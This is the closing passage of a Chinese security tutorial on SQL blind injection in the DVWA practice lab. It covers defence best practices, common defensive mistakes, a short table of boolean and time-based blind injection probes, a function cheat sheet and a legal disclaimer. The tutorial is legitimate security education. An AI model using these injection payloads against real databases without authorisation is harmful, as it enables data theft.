| CSRF攻击 | Token验证 | ❌ 无法伪造有效Token |
六重防护叠加 ,使得SQL盲注攻击在Impossible级别下完全不可行。
七、防御SQL盲注的最佳实践
通过DVWA四个级别的对比,我们可以总结出防御SQL盲注的最佳实践:
7.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 参数化查询/预处理语句 | 使用PDO或MySQLi的预处理语句 | ⭐⭐⭐⭐⭐ |
| 输入验证(白名单) | 只允许特定格式的输入(如数字) | ⭐⭐⭐⭐⭐ |
| 最小权限原则 | 数据库账号只授予必要的权限 | ⭐⭐⭐⭐⭐ |
| 错误信息处理 | 不将数据库错误信息暴露给用户 | ⭐⭐⭐⭐ |
7.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| CSRF Token | 防止跨站请求伪造 | ⭐⭐⭐⭐ |
| Web应用防火墙(WAF) | 检测和阻止恶意请求 | ⭐⭐⭐ |
| 日志审计 | 记录所有数据库操作 | ⭐⭐⭐ |
| 随机延迟 | 干扰时间盲注(但不能作为唯一手段) | ⭐⭐ |
7.3 常见误区
在实际开发中,以下做法不能有效防御SQL盲注:
-
❌ 仅使用
mysqli_real_escape_string():数字型注入时完全无效(如Medium级别) -
❌ 仅使用下拉菜单限制:可被Burp Suite抓包绕过(如Medium级别)
-
❌ 仅使用Cookie传参:可被手动构造请求绕过(如High级别)
-
❌ 仅使用随机延迟:只干扰时间盲注,对布尔盲注无效(如High级别)
-
❌ 依赖前端验证:攻击者可以绕过前端直接发请求
八、SQL盲注的实战检测思路
8.1 检测步骤
| 步骤 | 操作 | 示例 |
|---|---|---|
| 1. 验证注入点 | 构造真假条件,观察页面差异 | 1 AND 1=1 vs 1 AND 1=2 |
| 2. 判断注入类型 | 测试是否需要闭合引号 | 1'报错 → 字符型;1正常 → 数字型 |
| 3. 确定数据库长度 | 使用LENGTH(DATABASE()) |
1 AND LENGTH(DATABASE())=4 |
| 4. 逐字符猜解数据库名 | 使用SUBSTRING()+ASCII() |
1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 |
| 5. 逐层深入 | 表名 → 列名 → 数据 | 使用information_schema逐步推进 |
8.2 常用函数速查
| 函数 | 用途 | 示例 |
|---|---|---|
LENGTH() |
获取字符串长度 | LENGTH(DATABASE()) |
SUBSTRING(str,pos,len) |
截取字符串 | SUBSTRING(DATABASE(),1,1) |
ASCII(char) |
获取字符ASCII值 | ASCII('d') → 100 |
SLEEP(seconds) |
延迟指定秒数 | SLEEP(5) |
IF(cond,true,false) |
条件判断 | IF(1=1,SLEEP(5),0) |
MID(str,pos,len) |
截取字符串(同SUBSTRING) | MID(@@version,1,1) |
九、总结
本文围绕SQL盲注漏洞展开系统学习,我们理解其核心原理:服务器关闭SQL错误回显、不直接输出查询数据,攻击者仅能依靠页面布尔状态或响应延时差异逐位推断数据库信息,并分清依靠页面真假区分结果的布尔盲注、依靠延时函数判断逻辑成立与否的时间盲注两种主流盲注方式;我们完整实操Low级别攻击流程,布尔盲注通过真假条件判断注入点,搭配LENGTH、SUBSTRING、ASCII函数依次猜解库名、表名、字段与数据,时间盲注借助SLEEP延时函数验证注入可行性,结合IF条件语句完成数据猜解;逐级分析各安全等级防护缺陷,Medium依靠mysqli_real_escape_string转义仅能防护字符型注入,数字型参数可通过Burp抓包绕过前端下拉限制,High采用Cookie传参查询并增加随机延时干扰时间盲注,字符注入还需单引号闭合,Impossible整合CSRF Token、数值校验、intval强制转换、PDO预处理、查询行数限制、一次性令牌六层防护,彻底封堵盲注路径;同时梳理出参数化预处理查询、输入白名单校验、数据库最小权限、屏蔽详细报错信息等防御方案。SQL盲注属于SQL注入的特殊分支,攻击流程繁琐耗时,却是生产环境中最常见的注入形式,多数业务站点都会关闭数据库错误回显,依托DVWA的SQL盲注模块我们同步掌握两类盲注完整攻击流程与分层防护思路,在真实业务环境中落地PDO预处理语句、输入白名单校验、数据库最小权限的多重防护策略,能够从根源杜绝SQL盲注安全隐患。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。